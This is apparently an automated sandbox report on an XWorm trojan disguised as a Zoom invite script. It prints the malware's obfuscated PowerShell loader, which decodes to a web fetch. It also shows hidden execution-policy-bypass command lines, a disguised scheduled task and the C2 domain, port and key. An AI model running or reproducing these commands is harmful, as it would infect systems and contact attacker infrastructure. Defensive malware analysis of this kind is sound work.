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Windows
Analysis Report
Zoom_Invite.call-660194855683.wsf
Overview
General Information
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected XWorm
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Injects a PE file into a foreign processes
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 2800 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Zoom_ Invite.cal l-66019485 5683.wsf" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 2872 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$ReDrO = InvOkE-eXp reSSion ( ( [char[]] (62 , 72, 39,61 ,83 , 127,66,5 0,84 , 127 , 61 , 33 , 62, 72, 95, 58, 3 9, 58 , 62 ,72 ,49 , 61,77 , 5 5, 85, 88, 80, 61, 33 , 62, 72 ,95 ,94, 5 8, 39,58 , 62, 72, 95 ,49, 61 , 127 ,89,78 , 58 ,84, 127,78,52 , 77 , 61, 33, 62,74 ,91 , 89 , 39 ,61, 127 , 88 , 89 ,86, 6 1, 33,62 , 98,98, 58 ,39 ,58, 6 2, 74, 91 , 89 , 49, 61, 83, 1 27,84, 61, 33, 62,72, 85,58, 39 ,58 , 62 , 98 , 98 ,4 9,61,78,51 , 52, 94 ,85 ,77 ,8 4, 86 , 85 ,61,33, 62 , 96 , 96, 39 , 61 , 85, 90,42 , 50 ,60 , 50 ,61 ,61 , 114,110 , 110 , 1 06, 105,32 , 53, 53 , 106,123 , 105, 110 , 127,52,12 7,127, 53, 104, 53,4 0, 92,94,9 6,126, 53, 42, 61, 6 1,51 , 61 , 52,72, 1 27 ,74,86 , 91, 89 , 127 ,50,6 1,85 ,90,4 2, 50, 60, 61 ,54 , 61, 91 ,94 , 73,78 , 72, 83 ,84 ,93,61,51 , 33 ,115 ,127,98 , 50,62,72 , 95, 94 , 4 9 , 62,72 , 85 , 49, 62 ,96 , 96 , 51 ) | %{[char] ( $_-BXOR '0x1a' ) } )-JOIN'' ) ; powers hell $ReDr O" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 5828 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3820 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "MSFT_Sche duledTask (TaskName = "MicroSo ftVisualsU pdater", T askPath = "\")" MD5: 04029E121A0CFA5991749937DD22A1D9)
- wscript.exe (PID: 3040 cmdline:
C:\Windows \System32\ WScript.ex e "C:\Prog ramData\Mu sic\Visual s\VsLabs.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 3172 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\Prog ramData\Mu sic\Visual s\VsEnhanc e.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5932 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 364 cmdline:
cmd /c Pow ershell -n oP -W hidd en -ep byP ass -NONI "C:\Progra mData\Musi c\Visuals\ VsLabsData .ps1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 1416 cmdline:
Powershell -noP -W h idden -ep byPass -NO NI "C:\Pro gramData\M usic\Visua ls\VsLabsD ata.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 3820 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- wscript.exe (PID: 2192 cmdline:
C:\Windows \System32\ WScript.ex e "C:\Prog ramData\Mu sic\Visual s\VsLabs.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 2976 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\Prog ramData\Mu sic\Visual s\VsEnhanc e.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 2676 cmdline:
cmd /c Pow ershell -n oP -W hidd en -ep byP ass -NONI "C:\Progra mData\Musi c\Visuals\ VsLabsData .ps1" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 3424 cmdline:
Powershell -noP -W h idden -ep byPass -NO NI "C:\Pro gramData\M usic\Visua ls\VsLabsD ata.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) - RegSvcs.exe (PID: 416 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
XWorm | Malware with wide range of capabilities ranging from RAT to ransomware. | No Attribution |
{"C2 url": ["ALBANIAH3CKER.WORK.GD"], "Port": "7000", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
JoeSecurity_XWorm | Yara detected XWorm | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
|
System Summary |
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Source: | Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: frack113: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |